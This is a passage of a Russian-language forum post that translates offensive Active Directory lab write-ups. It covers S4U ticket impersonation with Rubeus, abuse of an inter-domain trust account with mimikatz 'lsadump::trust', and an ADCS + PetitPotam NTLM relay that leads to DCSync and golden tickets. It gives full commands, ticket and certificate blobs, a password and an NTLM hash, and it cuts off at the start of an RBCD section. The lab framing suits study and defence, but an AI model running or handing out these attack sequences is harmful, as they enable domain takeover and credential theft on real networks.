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 /password:"ckXTY5LJOKKbG2TN" /domain:first.local /dc:First-DC.first.local /getcredententials /show /ptt /nowrap

1660943852249.png


Прежде чем получить административный доступ к компьютеру user-server2, давайте проверим, что у нас еще нет там прав администратора:

1660943868584.png


Давайте теперь запросим TGS для admin@first.local (администратор домена) службе CIFS (SMB) на целевом компьютере user-server2.first.local, который мы хотим взять на себя, и попробуем еще раз вывести его административный c$:

Rubeus.exe s4u /dc:first-dc.first.local /ticket:doIGjjCCBoqgAwIBBaEDAgEWooIFoTCCBZ1hggWZMIIFlaADAgEFoQ0bC0ZJUlNULkxPQ0FMoiAwHqADAgECoRcwFRsGa3JidGd0GwtmaXJzdC5sb2NhbKOCBVswggVXoAMCARKhAwIBAqKCBUkEggVFj2/TcjTtZhD8bSHxyBIg4uF/JDBiiiUvA0ODHQGwc3yGdMARzyeyK4DBIeo3uEfIescMb0AAohC6WYFw/1tTqlPdJmTdc/zggkJBU97V/Boq8dXiS13cA3GNkr/cHkicdT/9NpQQZO0FNknD0dtcgj6SFsB1h9IEGeIRLP4yhezlLE+VhmHAUcUP7tXfLgpxHSydqz+fdUtBzoGEFWny8Ge1UE6phSDVe4fltvlqRqNtTD9uCp/L6cTAPbFP/qLIroIp2+TrJHXZlAj44zoBCmjfIWulD6jiQn61XHuSiT4WfVLjaayST2gB2PiW/86ARtdAZrxZWvZLMUrc5q1ABqSgwEZkFq6fe6b5+fOpMrUXxAdYRP5WxQcQ9/XZ7tNu1+3WFBGyH+7DxQYxYxR+V/Y4uQ1JxzaD9LRsPPIn3HyUt7t71iqMq/xQ9eXoLkK9cuSBx0ACm/rzr0JQlIcI8S95HH8Fy5fNK4Ztu4e30CFOrbnqUSYjAXBqw9iJm6mPPrk9xRYFa8JCq+k/v0EYB7HeJ+DmFJOIoDU06EsrFEx19uon00z+9fY6UTfGJPB67k0t68OOFoF/34asZg29OpdD4ZFfQPqm28FPD8FFNlgJrU22mrVfi4zUnNJlm8l+Eb18iLcEsNqjwEMrLYsSm6inZDRb+vbFxZ8qbJzctxeA/B3lWyqe8rgyZYounFou4386WSWFcAaFhKCG7L/f7Fo+z9F06iV6CHJHCoZH3NCHcRoP1abTsNJaTfguoq+QkkIHLlD9XV+NwaoYDwZOAoE0xBgiY4XNegXdjQ372fmRupeKwmaRCoBFXkfX41mNUY/g5jQDsiRT8yNI/JbjjytARArEZ+CiPltytrZhIb6o5SXUq0CA7BkLk4zlC1VNOu6VDtQXNHaMpsFq/i0ba4trK9dT0NrKvY+ol5XbEt8BhLIbpNLF4VIyYrW3BZD4jvlDqpK2srdyVPyhv0zmCrmV7bt1CgrSiDpQ2ZFDTvjbqSD5gxGfz2wSZYKoH4ZNz2QiH8+vd9aq1T8erOyyYOvKNXYe/+8p6zKYf5dKzAfUobisqU9ume1AIrbLBblY98N4OtnR86Qt8rXLb121Y7psxcikZjGUDGKYoU7BaFlx9MROyjncSmukNWB1RL6sjn6asAysFwQLmZ3rXp9qZjmQw1T6CYmQn9J2m6DgEUgH2v/XMYalLpviFIZ9viuWhzfH0XJNgorH9A0/ktgjoM94MabhrdcU3j81jSHS1hJNiiOirgDgIZ5cuUuaaHd0gPH/EVqBTq4qRtAIcoh/qbV8yPOOzG5pGNtTY2i7bEVuO1OzEkvCPuzEN/aNGTw8plJ0u8SXSnkG4OyV6dvHIcIntuIRkZwgVgOjMEvx3m4NXGVZN0dU8kKf3mDx6S4biK9XFf/BuriGpUDULik274yGzSxYNBfvhQ8fr+jK7FiP5XhyuX91EhK5AU0mOsjrR4sJe0+TSgtXGr3IkOowD0IEH6QcRLF5Ry22MAkk3+KpShSnsbk+OH7Fa3QplkL2aL8J9XFtoDl+N1IAkCvPD/UfaJt9GN3tdAgs0hVq4fi8tK8Esne/cQEXDKMqp3M5xHa7igDePg2GgowEeu9YzmtzhG57pjtHSBHn2vghRx41gSv0PZ+V8Ku2vXGr+73gvXzMDXHBKCJfvl5a93a3jjw6CZ7TInJcb9vnbzA96hXjfG9iXPQukIVtS9mliJBlUa5VEavC2xm6cUBBA8W3TU4YcbYkh/vkHJ+MsOMlkFqijtnDzm6PqwdiOnON64RyPPGYx4CjgdgwgdWgAwIBAKKBzQSByn2BxzCBxKCBwTCBvjCBu6AbMBmgAwIBF6ESBBBgO4p722wBoAoAA8phVXFvoQ0bC0ZJUlNULkxPQ0FMohowGKADAgEBoREwDxsNdXNlci1zZXJ2ZXIyJKMHAwUAQOEAAKURGA8yMDIyMDYxNDE0NDkzMFqmERgPMjAyMjA2MTUwMDQ5MzBapxEYDzIwMjIwNjIxMTQ0OTMwWqgNGwtGSVJTVC5MT0NBTKkgMB6gAwIBAqEXMBUbBmtyYnRndBsLZmlyc3QubG9jYWw= /impersonateuser:admin@first.local /ptt /self /service:host/user-server2.first.local /altservice:cifs/user-server2.first.local
ls \\user-server2.first.local\c$


Ниже показано, как TGS запрашивается и импортируется в память, что, в свою очередь, позволяет нашему пользователю с низким уровнем привилегий, regular.user , аутентифицироваться на user-server2.first.local и перечислять его общий ресурс C$ под именем администратора домена:

1660943891220.png


Ниже просто показан TGS, который у нас есть в памяти для доступа к службе CIFS на user-server2.first.local при олицетворении admin@first.local:

1660943902597.png


Работа из Linux

Если вы работаете из-под Linux, вы можете выполнить метод теневых учетных данных, используя https://github.com/ShutdownRepo/pywhisker (whisker, перенесенный на Python)
 
27. Злоупотребление доверительной учетной записью: доступ к ресурсам в доверенном домене из доверенного домена

Это краткое практическое занятие для ознакомления с методом, позволяющим получить доступ к ресурсам в доверенном домене из полностью скомпрометированного (получены права администратора домена) доверенного домена путем восстановления хэша пароля доверенной учетной записи $ (присутствующей в доверенном домене).

Эта лабораторна основана на большом исследовании здесь https://improsec.com/tech-blog/sid-...trust-account-attack-from-trusting-to-trusted, проверьте статью для получения более подробной информации и идей обнаружения/предотвращения.

Обзор

Среда для этой лаборатории выглядит следующим образом:

1660944218153.png


Короче говоря, существует одностороннее доверительное отношение между first.local и second.local, где first.local не доверяет second.local, а second.local доверяет first.local. Другими словами, можно получить доступ к ресурсам из first.local во second.local, но не наоборот.

Однако методика в этом лабораторном занятии показывает, что по-прежнему возможен доступ к ресурсам из second.local в домене first.local, если домен second.local скомпрометирован и получены права администратора домена.

Этот метод возможен, поскольку после установления доверительных отношений между доменами в доверенном домене создается доверительная учетная запись для доверяющего домена, и можно скомпрометировать хэш пароля этой учетной записи, что позволяет злоумышленнику пройти аутентификацию в доверенном домене с помощью доверительный счет.

В нашей лаборатории, учитывая, что first.local является доверенным доменом, которому доверяет доверяющий домен second.local, будет создана доверительная учетная запись first.local\second$ (учетная запись пользователя second$ в домене first.local).

first.local\second$ — это доверенная учетная запись, которую мы хотим использовать, и МОЖЕМ скомпрометировать ее из домена second.local, предполагая, что у нас есть права администратора домена.

Визуально это выглядит примерно так:

1660944233616.png


Проверка

Давайте проверим некоторые вещи, которые мы затронули в обзоре.

Подтвердите доверительные отношения между доменами:

# on first-dc.first.local
get-adtrust -filter *

1660944493451.png


Подтвердите наличие доверенной учетной записи second$ в домене first.local:

# on second-dc.second.local
get-adtrust -filter *


1660944479021.png


# on first-dc.first.local
get-aduser 'second$'

1660944452435.png


Подтвердите, что мы можем перечислить ресурсы в доверяющем домене second.local из first.local:
# from first-dc.first.local
get-aduser -Filter * -Server second.local -Properties samaccountname,serviceprincipalnames | ? {$_.ServicePrincipalNames} | ft

1660944427071.png


Подтвердите, что мы не можем (пока что, но это скоро изменится) перечислить ресурсы в доверенном домене first.local из доверенного домена:

# on second-dc.second.local
get-aduser -Filter * -Server first.local -Properties samaccountname,serviceprincipalnames | ? {$_.ServicePrincipalNames} | ft


1660944415366.png


Компрометация доверенной учетной записи first.local\second$

Как упоминалось ранее, основная проблема метода заключается в том, что мы можем скомпрометировать трастовую учетную запись first.local\second$, если у нас есть права администратора домена на second.local.

Чтобы скомпрометировать first.local\second$ и раскрыть хэш пароля, мы можем использовать mimikatz следующим образом:

# on second-dc.second.local
mimikatz.exe "lsadump::trust /patch" "exit"

1660944369847.png


Обратите внимание на хэш RC4 в строке [out] first.local -> second.local — это хэш NTLM для доверительной учетной записи first.local\second$, запишите его.

Запрос TGT для first.local\second$

Получив хэш NTLM для first.local\second$, мы можем запросить его TGT у first.local:

#on second-dc.second.local
Rubeus.exe asktgt /user:second$ /domain:first.local /rc4:24b07e26ca7affb4ac061f6920cb57ec /nowrap /ptt

Доступ к ресурсам на First.local из Second.local

1660944527737.png


В этот момент на second-dc.second.local у нас есть TGT для first.local\second$, зафиксированный в памяти, и теперь мы можем начать перечисление ресурсов на first.local — и это завершает технику, показывая, что можно получить доступ ресурсы в доверенном домене (как пользователь с низким уровнем привилегий), если доверенный домен скомпрометирован:

Get-ADUser roast.user -Server first.local -Properties * | select samaccountname, serviceprincipalnames

1660944546681.png
 
Последнее редактирование:
24. ADCS + PetitPotam NTLM Relay: получение хэша krbtgt с сертификатом машины контроллера домена

Это краткое практическое занятие для ознакомления с технологией Active Directory Certificate Services (ADCS) + PetitPotam + NLTM Relay, которая позволяет злоумышленникам, если служба ADCS настроена неправильно (что происходит по умолчанию), эффективно повышать привилегии от пользователя домена с низким уровнем привилегий до доменного админа.

Ниже приведены некоторые условия, делающие среду AD уязвимой для атак ADCS + NTLM relay:

- ADCS настроен на разрешение проверки подлинности NTLM;
- Аутентификация NTLM не защищена подписью EPA или SMB;
- ADCS запускает любую из этих служб:
* Веб-регистрация центра сертификации
* Веб-служба регистрации сертификатов

Обзор

Ниже представлен общий обзор того, как работает атака:

1. Закрепиться в сети AD с неправильно настроенным экземпляром ADCS;

2. Настройте прослушиватель ретрансляции NTLM на устройстве, которым вы управляете, чтобы входящие проверки подлинности передавались неправильно настроенным ADCS;

3. Принудительно проверяйте подлинность целевого контроллера домена (используя трюк с PetitPotam или PrintSpooler) на устройстве, на котором работает ретранслятор NTLM;

4. Целевой контроллер домена пытается пройти аутентификацию на ретрансляторе NTLM;

5. Ретранслятор NTLM получает аутентификацию учетной записи компьютера DC$ и передает ее в ADCS;

6. ADCS предоставляет сертификат для учетной записи целевого компьютера DC$;

7. Используйте сертификат учетной записи компьютера целевого контроллера домена, чтобы запросить его Kerberos TGT;

8. Используйте учетную запись компьютера целевого контроллера домена TGT для выполнения DCSync https://www.ired.team/offensive-sec...ord-hashes-from-domain-controller-with-dcsync и получите NTLM-хэш krbtgt;

9. Используйте NTLM-хэш krbtgt для создания золотого билет https://www.ired.team/offensive-sec...ectory-kerberos-abuse/kerberos-golden-tickets , который позволяют вам выдавать себя за любого пользователя домена, включая администратора домена.

Ниже на графике визуализирована концепция:

Посмотреть вложение 41431

Захват домена

Лабораторная установка


Эта часть лабораторной работы настроена со следующими компьютерами и серверами:

- 10.0.0.5 - Kali box с NTLM relay;

- 10.0.0.6 — целевой контроллер домена DC01. Это целевой контроллер домена, который мы заставим пройти аутентификацию на нашем ретрансляторе NTLM на 10.0.0.5;

- 10.0.0.10 — Центр сертификации (CA01). Именно сюда наш ретранслятор NTLM 10.0.0.5 будет перенаправлять аутентификацию DC01;

- 10.0.0.7 — рабочая версия Windows (WS01). Это начальная точка опоры в сети, и это машина, которая заставит DC01 аутентифицироваться на нашем ретрансляторе NTLM на 10.0.0.5;

Установка инструментов

Давайте возьмем версию impacket, в которой реализована атака ADCS, и проверим правую ветку:

git clone https://github.com/ExAndroidDev/impacket.git
cd impacket
git checkout ntlmrelayx-adcs-attack

Посмотреть вложение 41432

Настройка виртуальной среды


Подготовьте виртуальную среду Python для impacket. Начните с установки пакета виртуальной среды:

apt install python3-venv

Посмотреть вложение 41433


Создайте и активируйте новую виртуальную среду Python под названием impacket:

python3 -m venv impacket
source impacket/bin/activate

Посмотреть вложение 41434


Давайте установим все зависимости impacket:

pip install .

Посмотреть вложение 41435

Поиск центра сертификации


На WS01 мы можем использовать Windows LOLBIN certutil.exe, чтобы найти серверы ADCS в домене:

Посмотреть вложение 41436

Мы подтверждаем, что в нашем домене CA01 является нашим центром сертификации, которому мы будем передавать аутентификацию DC01$.

Настройка ретрансляции NTLM

В поле Kali с адресом 10.0.0.5 давайте настроим ретранслятор NTLM для пересылки входящих аутентификаций от DC01$ к CA01 или, точнее, к одной из его конечных точек HTTP для регистрации сертификата http://ca01/certsrv/certfnsh.asp следующим образом:

examples/ntlmrelayx.py -t http://ca01/certsrv/certfnsh.asp -smb2support --adcs

Посмотреть вложение 41437

Принудительная проверка подлинности DC01 на ретрансляторе NTLM

Из WS01 давайте заставим DC01 аутентифицироваться на нашем ретрансляторе NTLM по адресу 10.0.0.5, выполнив

.\PetitPotam.exe 10.0.0.5 dc01

Посмотреть вложение 41438

Выше показано, как:

- DC01 был принудительно авторизован на 10.0.0.5;

- 10.0.0.5 передал аутентификацию DC01$ в CA01;

- CA01 выдал сертификат для учетной записи компьютера DC01$.

Запрос DC01$ TGT

На WS01 теперь мы можем использовать rubeus для запроса TGT Kerberos для учетной записи компьютера DC01$ следующим образом:

.\Rubeus.exe asktgt /outfile:kirbi /user:dc01$ /ptt /certificate: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

Используйте runas /netonly /user:fake powershell для создания нового сеанса входа в систему, в который будет внедрен DC01$ TGT, чтобы предотвратить испорченные TGT/TGS для существующего сеанса входа.

Посмотреть вложение 41439

klist подтверждает, что теперь у нас есть TGT для DC01$ в текущем сеансе входа в систему:

Посмотреть вложение 41440

Теперь мы можем выполнить DCSync https://www.ired.team/offensive-sec...ord-hashes-from-domain-controller-with-dcsync и получить хэш NTLM для пользователя offsense\krbtgt:

Посмотреть вложение 41441

Наличие хэша NTLM для krbtgt позволяет нам создавать https://www.ired.team/offensive-sec...ectory-kerberos-abuse/kerberos-golden-tickets .

Напоминалка

Стоит помнить, что в некоторых средах AD будут учетные записи с высоким уровнем привилегий, подключающиеся к рабочим станциям для выполнения некоторых административных задач, и если у вас есть права локального администратора на скомпрометированной машине Windows, вы можете выполнить релейную атаку ADCS + NTLM, чтобы запросить сертификат для этой службы. учетная запись.

Для этого вам понадобится следующее:

- Остановите службу SMB на скомпрометированной машине. Для этого требуются права локального администратора и перезагрузка, чтобы машина не прослушивала TCP 445;

- Раскрутить ретранслятор NTLM на TCP 445;

- Подождать, пока учетная запись службы подключится к вашему компьютеру;

- Аутентификация входящей учетной записи службы передается в ADCS, которая выдает сертификат учетной записи службы;

-Использовать сертификат сервисной учетной записи для запроса ее Kerberos TGT;

- Теперь вы получили административные привилегии на машинах, к которым может получить доступ скомпрометированная учетная запись службы.

RBCD: захват удаленного компьютера

Также возможно получить права администратора на любом удаленном компьютере, если у нас есть сетевой доступ к этому компьютеру, как указал Ли Кристенсен:

Лабораторная установка

Эта часть лабораторной работы настроена со следующими компьютерами и серверами:

- 10.0.0.5 - Kali box с NTLM relay;

